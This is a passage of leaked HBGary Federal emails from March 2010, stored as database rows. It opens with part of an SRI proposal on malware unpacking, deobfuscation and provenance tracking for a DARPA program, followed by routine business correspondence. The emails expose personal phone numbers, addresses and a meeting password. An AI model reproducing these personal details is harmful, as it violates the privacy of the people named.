Malware Analysis;\r\nPhylogentic algorithms \r\n\r\nfor malware lineage tree consturction\r\n\r\n&nbsp;\r\n\r\nDeliverables: \r\n\r\n- HMA Comparison System\r\n\r\n- Quantitative comparison study of lineage trees\r\nacross multiple algorithms\r\n\r\n- Delivery of a software component integrating\r\nlineage trees with HMA\r\n\r\n&nbsp;\r\n\r\n2. Malware Unpacking and Call Site Resolution\r\n\r\n&nbsp;\r\n\r\nSRI will use its Eureka unpacking technology to\r\nautomatically recover\r\n\r\nunpacked executable images from packed\r\nbinaries.&nbsp; Eureka implements a\r\n\r\ncoarse-grained execution tracking strategy that\r\nallows for efficient\r\n\r\nmonitoring of malware execution progress.&nbsp; A\r\nmemory snapshot is\r\n\r\ntriggered by its hypothesis testing algorithm when several\r\ncriteria\r\n\r\nare satisfied. These criteria includes the number of\r\nsystem calls,\r\n\r\nprocess execution time, a bigram count indicating a\r\nsharp increase of\r\n\r\nthe code to data ratio, or specific system calls\r\nsuch as process fork\r\n\r\nor terminate process. &nbsp;\r\n\r\n&nbsp;\r\n\r\nWe will develop binary evaluation metrics with the\r\npurpose of\r\n\r\nassessing the quality of the unpacked code and\r\nrerunning the Eureka\r\n\r\nunpacker if necessary to obtain a more complete\r\nunpacked code. SRI\r\n\r\nwill implement its speculative API resolution\r\nalgorithm to\r\n\r\nautomatically resolve call sites.&nbsp; SRI will\r\ndeliver the post unpacking\r\n\r\nanalysis capability as an add on to the Eureka\r\nframework to enable\r\n\r\nfurther analysis and classification of malware.\r\n\r\n&nbsp;\r\n\r\nWe also plan on developing additional criteria that\r\ndetermine the optimal\r\n\r\nmoment for taking a memory snapshot of the running\r\nprocess and\r\n\r\nrecovering the original entry point.&nbsp; We will\r\nalso investigate novel\r\n\r\nways of hiding Eureka from being detected by the\r\nrunning binary to\r\n\r\navoid triggering suicide logic.&nbsp; We will also\r\nexplore\r\n\r\nsnapshot-stitching techinques for dealing with\r\nmulti-stage packers and\r\n\r\nblock encryption.&nbsp; SRI will deliver new\r\nunpacking technology that will\r\n\r\ncover a large number of existing packing technology.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Application of hypthesis testing and\r\nbigram analysis,\r\n\r\nspeculative api resolution, snapshot stitching, \r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n- Automated system for malware unpacking and API\r\nresolution\r\n\r\n&nbsp;\r\n\r\n3.&nbsp; Malware Deobfuscation to Enable Static\r\nAnalysis\r\n\r\n&nbsp;\r\n\r\nSRI will build automated ways of recognizing\r\nobfuscated code and\r\n\r\nidentifying the obfuscation steps that have been\r\nemployed to hinder\r\n\r\nautomated analysis. SRI will then provide automated\r\nways of\r\n\r\nsystematically undoing the work of obfuscators to\r\nrestore the binary\r\n\r\nto an equivalent but unobfuscated form. This will be\r\ndone by using\r\n\r\nbinary rewriting techniques. To validate the binary\r\nrewrite step, we\r\n\r\nwill use decompilation tools to recover a high-level\r\nC and C++ source\r\n\r\ncode of the binary code. By assessing the quality of\r\nthe source code,\r\n\r\nwe can assess the quality of our deobfuscation steps\r\nand can improve\r\n\r\nit accordingly. SRI will deliver a binary rewriting\r\ntool and the\r\n\r\ncorresponding deobfuscation rewrite rules.\r\n\r\n&nbsp;\r\n\r\nWe propose to adapt and evaluate existing techniques\r\nfrom\r\n\r\ncomputational biology to the problem of malware deobfuscation.\r\n\r\n\r\nIn particular we use CB techinques to tackle the\r\nproblem of comparing \r\n\r\nobfuscated malware code segments.\r\n\r\n&nbsp;\r\n\r\nError Correcting Codes (ECC):&nbsp; We note that for\r\nevery\r\n\r\nobfuscation technique used in digital artifacts,\r\nthere is an ECC which\r\n\r\nmitigates the effect of the obfuscation.&nbsp; By\r\nusing such codes, we can\r\n\r\nin effect make one digital artifact resemble another\r\nto an arbitrary\r\n\r\ndegree of accuracy and thus, we can determine the\r\ndegree of original\r\n\r\nsimilarity.\r\n\r\n&nbsp;\r\n\r\nInfinite Sites (IS): The IS evolution model makes it\r\nalgorithmically\r\n\r\ntractable to determine a series of changes that\r\ncould transform one\r\n\r\nartifact into another.&nbsp; The number and nature\r\nof the mutations\r\n\r\nrepresents a distance between the two artifacts.\r\n\r\n&nbsp;\r\n\r\nMalware Markov Models (MM): If we know the\r\nprobability of different\r\n\r\nobfuscation types (which could be determined by data\r\nmining a set of\r\n\r\nartifacts), we can build a Markov model that\r\ntransforms any artifact\r\n\r\ninto any other and calculate a probability of that\r\ntransformation.\r\n\r\nOnce again, this probability represents distance\r\nbetween the two\r\n\r\nartifacts.\r\n\r\n&nbsp;\r\n\r\nDeliverables\r\n\r\n&nbsp;\r\n\r\n- Ida plugin for deobfuscating basic malware\r\ntransformations\r\n\r\n&nbsp;\r\n\r\n- Quantitative comparison study of two or more of\r\nthese techniques\r\n\r\napplied to a small set of obfuscated malware.\r\n\r\n&nbsp;\r\n\r\n- Larger scale evaluation and delivery of a software\r\ncomponent \r\n\r\nthat efficiently compares similarity between\r\nobfuscated malware\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n4. Statically Informed Malware Execution and\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nThe origin entry point of the malware binary is\r\nusually not known at\r\n\r\nthis point.&nbsp; We will employ novel approaches to\r\ndetermine the OEP in\r\n\r\nthe captured memory image of the process.&nbsp; We\r\nwill then automatically\r\n\r\nrewrite the binary\'s header to set the OEP and rebuild\r\nimport tables.\r\n\r\nWe will also develop automated techniques for\r\ninformed reconstruction\r\n\r\nof malware binaries to enable execution and bypass\r\nsuicide logic.SRI\r\n\r\nwill use the output from static analysis of malware\r\nsamples to enable\r\n\r\nguided executions of unpacked binaries.&nbsp; An\r\nimportant first step\r\n\r\ntoward this end is transforming automatically\r\nunpacked binaries to\r\n\r\nrunning executables for example by fixing the origin\r\nentry point,\r\n\r\nreconstructing import tables and removing suicide\r\nchecks.&nbsp; We will\r\n\r\nemploy novel approaches to determine the OEP in the\r\ncaptured memory\r\n\r\nimage of the process and automatically rewrite the\r\nbinary\'s header to\r\n\r\nset the OEP and rebuild import tables.&nbsp; We will\r\nalso develop static\r\n\r\nanalysis and instrumentation techniques to identify\r\nand bypass\r\n\r\nunnecessary suicide logic.\r\n\r\n&nbsp;\r\n\r\nWe will use provenance analysis techniques to track\r\nmalware execution\r\n\r\nprogress and classify malware based on\r\nfunctionalities.&nbsp; We will\r\n\r\ncategorize system egress points (subsequently called\r\nsinks) through\r\n\r\nwhich data leakage can occur. Only interfaces with a\r\nchannel bandwidth\r\n\r\nabove a predefined threshold will be considered.\r\nSimilarly, a\r\n\r\nclassification of sensitive data sources will be\r\nassembled. Functional\r\n\r\nelements in malware (such as keyloggers, filesystem\r\ndrivers, Web\r\n\r\nbrowser plugins) that serve to redirect data flows\r\nfrom data sources\r\n\r\nto sinks will be identified based on the\r\ncapabilities of\r\n\r\nco-proposers. A taxonomy of data flow will be\r\nconstructed, organizing\r\n\r\nthe above three classes into a coherent framework.\r\nUsing the taxonomy,\r\n\r\nthe presence of malware functional elements can be\r\ncombined with\r\n\r\nobserved data access patterns to guide inferences\r\nabout high-level\r\n\r\nmalware intent.\r\n\r\n&nbsp;\r\n\r\nWe will assume that malware unpacking and analysis\r\nhas revealed which \r\n\r\nfunctional elements are present. Access patterns\r\ngenerated by host \r\n\r\napplications in controlled environments will be\r\ncompared to access \r\n\r\npatterns of the application with the malware\r\nembedded. The difference in \r\n\r\npatterns will be mapped to functional elements.\r\nBased on the functional \r\n\r\nelement type and guided by the taxonomy, we will\r\ninfer which data may \r\n\r\nhave leaked or been compromised.\r\n\r\n&nbsp;\r\n\r\nTracking provenance at the system call API level\r\n\r\ncaptures process level data dependency which may\r\nyield false\r\n\r\npositives. By leveraging the control flow graph of\r\nthe malware, the\r\n\r\ndependency analysis can be refined.&nbsp; We will\r\nutilize this to improve\r\n\r\nthe precision of identifying data that may be leaked\r\nor compromised by\r\n\r\nthe malware.\r\n\r\n&nbsp;\r\n\r\nInnovative Claims: Statically Informed Binary Reconstruction,\r\n\r\n\r\nProvenance Tracking\r\n\r\n&nbsp;\r\n\r\nDeliverables:\r\n\r\n- Malware execution binary recontructor\r\n\r\n- Taxonomy of data sources, malware functional\r\nelements, and sinks.\r\n\r\n- Software component that takes as input data\r\nprovenance traces and \r\n\r\n&nbsp; unctional element descriptions and outputs\r\nconjectured goals of \r\n\r\n&nbsp; malware. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2659,'aaron_hbgary_com/2659.html'),(3619,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001831.M505101P3547Q3619.eml','\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Kenny Prole\" <KennyP@avi.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Kenny Prole\" <KennyP@avi.com>,,,,,,,,,,,,,,,,','RE: DCG: FW from SRI: SRI visualization examples','RE: DCG: FW from SRI: SRI visualization examples.\r\n\r\nSecure Decisions: hopefully the examples here are helpful; if you have\r\nquestions, feel free to \'Reply All\'.\r\nSRI (Phil): if you have other visualization examples, feel free to\r\n\'Reply All\' with new links or attachments.\r\n\r\nChris\r\n571-216-6140\r\n\r\n\r\n-----Original Message-----\r\nFrom: Vinod Yegneswaran [mailto:vinod@csl.sri.com] \r\nSent: Friday, March 05, 2010 5:22 PM\r\nTo: Starr, Christopher H.\r\nCc: Phil Porras\r\nSubject: visualizations\r\n\r\nI believe these are the visualizations Phil was alluding to:\r\n\r\nCluster Lab: \r\nhttp://cgi.mtc.sri.com/Cluster-Lab/   \r\n(see the similarity matrix at the bottom)\r\n\r\nHorizontal Malware Analysis: \r\nhttp://mtc.sri.com/Conficker/HMA/ \r\n\r\n\r\n',10813,'aaron_hbgary_com/10813.html'),(3620,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001831.M704360P3547Q3620.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Palantir cost','That&#39;s all.From my iPhoneOn Mar 5, 2010, at 4:40 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey,\r\n\r\nI just asked Matt for a minimal quote for Palantir.  This was his response:\r\n\r\nHmm, good question Brian.  We generally start at an 8 core deployment.  At GSA this is valued around 1.1 million.  However, since Xetron is going to be doing most of the heavy lifting I can certainly ping my leads to see if this would be something we could discount.\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',2200,'aaron_hbgary_com/2200.html'),(3621,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001832.M233220P3547Q3622.eml','\"Ted Vera\" <ted@hbgary.com>','Re: Request for Proposal - HBGary Federal - Cyber Genome Program','K u goingto work on stuff tonight\r\n\r\n From my iPhone\r\n\r\nOn Mar 5, 2010, at 4:39 PM, Ted Vera  wrote:\r\n\r\n> Yeah, I saw this earlier.  I\'m printing it all now.  I just noticed\r\n> that pricing inputs were supposed to be due today.  They gave us till\r\n> Mon or Tue latest.\r\n>\r\n> On Fri, Mar 5, 2010 at 2:36 PM, Aaron Barr  wrote:\r\n>>\r\n>>\r\n>> Begin forwarded message:\r\n>>\r\n>> From: \"Larson, Cindy S.\" \r\n>> Date: March 4, 2010 5:32:24 PM EST\r\n>> To: \"Ted Vera\" \r\n>> Cc: \"Corcino, Stefanie E.\" , \"Vela,\r\n>> Ryan\"\r\n>> , \"Harlow, Douglas M.\" > >,\r\n>> \"Barr Aaron\" \r\n>> Subject: Request for Proposal - HBGary Federal - Cyber Genome Program\r\n>>\r\n>> Dear Mr. Vera:\r\n>>\r\n>> GDAIS requests your company to submit a FFP/LOE proposal in support\r\n>> of the\r\n>> Cyber Genome Program/Proposal effort.  All documentation applicable\r\n>> to our\r\n>> RFP is attached.\r\n>>\r\n>> Important - note the due dates identified in the RFP cover letter and\r\n>> Attachment 1 located directly behind the cover letter.  Due to\r\n>> DARPA\'s due\r\n>> date we have a very short proposal turn around time.  ALSO, THE RFP\r\n>> ATTACHMENT 2 STATEMENT OF WORK WILL BE PROVIDED TO YOU IN A\r\n>> SEPARATE EMAIL\r\n>> BY EITHER STEFANIE CORCINO OR RYAN VELA.\r\n>>\r\n>> The following additonal information is required, in addition to\r\n>> what is\r\n>> outlined in the RFP cover letter and Attachment 1:\r\n>>\r\n>> Please identify the following for each task/subtask that your\r\n>> company is\r\n>> compiling.\r\n>>\r\n>> 1. Innovative claims that succinctly describe the uniqueness and\r\n>> benefits of\r\n>> their approach relative to the current state-of-the=art alternate\r\n>> approaches.\r\n>>\r\n>> 2. Define each technical tasks/subtasks in terms of\r\n>>\r\n>> a. General description of the objective\r\n>>\r\n>> b. Detailed description of the approach to accomplish the objective\r\n>>\r\n>> c. Description of deliverables to be provided\r\n>>\r\n>> d. Completion criteria in terms of milestones and deliverables\r\n>>\r\n>> 3. Detailed technical rationale, approach, and plan\r\n>>\r\n>> 4. Comparison with existing research outlining advantages and\r\n>> disadvantages\r\n>> of the innovative claims.\r\n>>\r\n>> 5. Past performance and accomplishments (Past Performance Template\r\n>> provided)\r\n>> with relevance to current proposal.\r\n>>\r\n>> 6. Description of the place of performance, facilities, and\r\n>> locations.\r\n>>\r\n>> 7. Identification of one key personnel with significant dedication\r\n>> to the\r\n>> proposed effort (Key Personnel Qualifications Template provided).\r\n>>\r\n>> 8. Summary of cost, schedule, and milestones.\r\n>>\r\n>> 9. Related research, white papers, or supporting information.\r\n>>\r\n>>\r\n>> Please call the POCs identified in the cover letter with any\r\n>> questions or\r\n>> comments regarding the RFP and attachments.\r\n>>\r\n>> We look forward to hearing from you.\r\n>>\r\n>> Regards,\r\n>>\r\n>> Cindy Larson\r\n>> GDAIS Sr. Lead Specialist, Contracts\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n',9727,'aaron_hbgary_com/9727.html'),(3622,'2010-03-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001832.M23760P3547Q3621.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Palantir cost','Is this just to set itnup in the lab?From my iPhoneOn Mar 5, 2010, at 4:40 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey,\r\n\r\nI just asked Matt for a minimal quote for Palantir.  This was his response:\r\n\r\nHmm, good question Brian.  We generally start at an 8 core deployment.  At GSA this is valued around 1.1 million.  However, since Xetron is going to be doing most of the heavy lifting I can certainly ping my leads to see if this would be something we could discount.\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',1619,'aaron_hbgary_com/1619.html'),(3623,'2010-03-05','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001832.M422348P3547Q3623.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: file access for TA3 proposal','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nFor Tech Area #3, do you want to send file access to Phil Porras\r\nof SRI as well (or does he already have it?)&nbsp; (porras@csl.sri.com).\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 10:38 AM\r\nTo: Starr, Christopher H.\r\nSubject: Section IV: Additional Information, Section III + 17 more items\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  I\'ve shared some items with you\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMessage from aaron@hbgary.com: \r\n\r\nAll,&nbsp;I have just shared Vol II and III of the TA3 proposal and am transfering content over to the sections.&nbsp; Please review and add content and comments where appropriate.&nbsp;Working on the appendix of the teaming agreements based on SOW inputs.&nbsp;Thanks you,\r\n\r\nClick to open: \r\n\r\n\r\n Section\r\n     IV: Additional Information\r\n Section\r\n     III\r\n I.\r\n     Cost Schedules and Milestones\r\n J.\r\n     Description of Data\r\n G.\r\n     Description of Facilities\r\n H.\r\n     Detail Support (Teaming Agreements)\r\n E.\r\n     Comparison with other Research\r\n F.\r\n     Discussion of Proposers Previous Accomplishments\r\n A.\r\n     Statement of Work\r\n B.\r\n     Description of Results and Products\r\n C.\r\n     Detailed Technical Rationale\r\n D.\r\n     Detailed Technical Approach\r\n Section\r\n     II\r\n A.\r\n     Summary of Proposal\r\n F.\r\n     Four Slide Summary\r\n E.\r\n     Organizational Chart\r\n D.\r\n     Technical Approach\r\n C.\r\n     Cost, Schedule, Milestones\r\n B.\r\n     Deliverables\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online\r\ndocuments, spreadsheets and presentations. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8841,'aaron_hbgary_com/8841.html'),(3624,'2010-03-05','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001832.M623457P3547Q3624.eml','aaron@hbgary.com','Re: Palantir cost','\r\nIt was the cheapest possible installation.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Fri Mar 05 17:36:10 2010Subject: Re: Palantir cost\r\nIs this just to set itnup in the lab?From my iPhoneOn Mar 5, 2010, at 4:40 PM, &quot;Masterson, Brian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHey,\r\n\r\nI just asked Matt for a minimal quote for Palantir.  This was his response:\r\n\r\nHmm, good question Brian.  We generally start at an 8 core deployment.  At GSA this is valued around 1.1 million.  However, since Xetron is going to be doing most of the heavy lifting I can certainly ping my leads to see if this would be something we could discount.\r\n\r\n\r\n\r\n\r\nBrian Masterson\r\n\r\nNorthrop Grumman/Xetron\r\n\r\nChief Technology Officer, IO Programs\r\n\r\nPh: 513-881-3591\r\n\r\nCell: 513-706-4848\r\n\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',16819,'aaron_hbgary_com/16819.html'),(3625,'2010-03-06','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001832.M820281P3547Q3625.eml','\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,\"Vashak, Walt E.\" <walt.vashak@gd-ais.com>,,,,,,','RE: IP meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWalt,\r\n\r\n&nbsp;\r\n\r\nThanks very much,\r\n\r\n&nbsp;\r\n\r\nChris\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Vashak, Walt E. \r\nSent: Friday, March 05, 2010 7:11 PM\r\nTo: Starr, Christopher H.\r\nCc: Wenthold, Russell L.\r\nSubject: RE: IP meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nChris,\r\n\r\n&nbsp;\r\n\r\nThere is no particular exemption from FOIA for research\r\npapers.&nbsp; However, the b) (6) exemption for &#8220;Trade secrets and commercial\r\nor financial information obtained from a person and privileged or confidential&#8221;\r\napplies.&nbsp; In accordance with Presidential Orders and DoD Directives, a\r\nsubmitter of information that is the subject of a FOIA request must have an opportunity\r\nto redact information that falls within the exemption before the FOIA release.\r\n\r\n&nbsp;\r\n\r\nWe can discuss further at your convenience.\r\n\r\n&nbsp;\r\n\r\nWalt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWalter\r\nE. Vashak\r\n\r\nDirector,\r\nContract Policy and Compliance \r\n\r\n&nbsp;&nbsp;\r\nand Intellectual Property\r\n\r\nGeneral\r\nDynamics Advanced Information Systems\r\n\r\n1200\r\nJoe Hall Drive\r\n\r\nYpsilanti,\r\nMI 48197\r\n\r\nTel.\r\n734.480.5412\r\n\r\nCell:\r\n734.751.4834\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7943,'aaron_hbgary_com/7943.html'),(3626,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001833.M10855P3547Q3626.eml','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','Re: file access for TA3 proposal','Yes will do.From my iPhoneOn Mar 5, 2010, at 6:49 PM, &quot;Starr, Christopher H.&quot; &lt;Chris.Starr@gd-ais.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nFor Tech Area #3, do you want to send file access to Phil Porras\r\nof SRI as well (or does he already have it?)  (porras@csl.sri.com).\r\n\r\n \r\n\r\nChris\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: aaron@hbgary.com\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, March 05, 2010 10:38 AM\r\nTo: Starr, Christopher H.\r\nSubject: Section IV: Additional Information, Section III + 17 more items\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  I&#39;ve shared some items with you\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMessage from aaron@hbgary.com: \r\n\r\n\r\nAll, I have just shared Vol II and III of the TA3 proposal and am transfering content over to the sections.  Please review and add content and comments where appropriate.\r\n Working on the appendix of the teaming agreements based on SOW inputs.\r\n Thanks you,\r\n\r\nClick to open: \r\n\r\n\r\n Section\r\n     IV: Additional Information\r\n Section\r\n     III\r\n I.\r\n     Cost Schedules and Milestones\r\n J.\r\n     Description of Data\r\n G.\r\n     Description of Facilities\r\n H.\r\n     Detail Support (Teaming Agreements)\r\n E.\r\n     Comparison with other Research\r\n F.\r\n     Discussion of Proposers Previous Accomplishments\r\n A.\r\n     Statement of Work\r\n B.\r\n     Description of Results and Products\r\n C.\r\n     Detailed Technical Rationale\r\n D.\r\n     Detailed Technical Approach\r\n Section\r\n     II\r\n A.\r\n     Summary of Proposal\r\n F.\r\n     Four Slide Summary\r\n E.\r\n     Organizational Chart\r\n D.\r\n     Technical Approach\r\n C.\r\n     Cost, Schedule, Milestones\r\n B.\r\n     Deliverables\r\n\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online\r\ndocuments, spreadsheets and presentations. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14580,'aaron_hbgary_com/14580.html'),(3627,'2010-03-06','noreply@fbo.gov','/aaron@hbgary.com/new/1297001833.M230312P3547Q3627.eml','aaron@hbgary.com','FBO Watch List Notifications','Saturday, March 06, 2010, 03:00 am\r\n\r\nDear Aaron Barr:\r\n\r\nThis message has been sent to inform you of update(s) to solicitation(s) where you have either expressed vendor interest in the opportunity, or placed the notice on your watchlist.  Please see the details below.\r\n\r\nDetails\r\n------------------\r\n\r\n	Top Level Agency: Department of the Navy\r\n	Office: Office of Naval Research\r\n	Location: ONR\r\n\r\n		Solicitation #: 10-004\r\n		Title: Computer Network Defense\r\n		Link: https://www.fbo.gov/spg/DON/ONR/ONR/10-004/listing.html\r\n\r\n		  A change has been posted: Mar 05, 2010 2:29 pm\r\n		  Attachments:\r\n		   ONR BAA 10-004 Industry Day Materials\r\n\r\n\r\n',16092,'aaron_hbgary_com/16092.html'),(3628,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001833.M407485P3547Q3628.eml','bob@hbgary.com','Re: Meeting invitation: Proposal review redux','sorry bob. &nbsp;Got more entailed as I got there, so couldn\'t make it. &nbsp;Hopefully we can get together on Monday to review. &nbsp;I will send some things to Martin to review, not sure if he checks hbgary acct over weekend.AaronOn Mar 5, 2010, at 5:13 PM, Bob Slapnik wrote:Hello Aaron Barr,   Bob Slapnik invites you to attend this online meeting.   Topic: Proposal review redux  Date: Friday, March 5, 2010  Time: 5:30 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 571 660 727  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=142460942&amp;UID=1127289962&amp;PW=NNjBjZTM0Yzc2&amp;RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: ddna123  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=142460942&amp;UID=1127289962&amp;PW=NNjBjZTM0Yzc2&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=142460942&amp;tollFree=0   Access code:571 660 727   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   bob@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=142460942&amp;UID=1127289962&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=kC4mT290ZDFYJyuz0304dFn-XrOZ5G-cCl1pz0fImHU=&amp;RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3390,'aaron_hbgary_com/3390.html'),(3629,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001835.M420521P3547Q3629.eml','\"Jason R. Upchurch\" <jason.upchurch@gd-ais.com>,\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Content','\r\n',2175,'aaron_hbgary_com/2175.html'),(3630,'2010-03-06','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001838.M983735P3547Q3630.eml','\"Ted Vera\" <ted@hbgary.com>','Palantir Developer seats','Ted,\r\n\r\nWe have a few seat secured for the Palantir developer course, can\'t remember if its this month or next will find out.  Do you want to send Mark? or should we give those up to HBGary proper.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7977,'aaron_hbgary_com/7977.html'),(3631,'2010-03-06','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001839.M428817P3547Q3631.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','IP and data rights','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nI spoke with our attorney who is an expert on IP issues with\r\ngov&#8217;t and in particular, SBIR data rights because he helped draft the\r\nlaw.&nbsp; He acknowledged that even though the statue says the government\r\ncannot take away our SBIR data rights in a contract, they can vote with their\r\ndollars by not funding us.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThe IP call with GD opened my eyes of how we can make the\r\nbest out of &#8220;delivering&#8221; data to DARPA.&nbsp; That said, in writing\r\nthis proposal we may find certain data to be extremely sensitive and important\r\nto HBGary.&nbsp; An example would be DDNA Sequencing (patent pending and IRAD\r\nfunded) or REcon functionality that gets reused in a new scalable system (SBIR\r\nfunded).&nbsp; Below is language that the attorney provided that we can 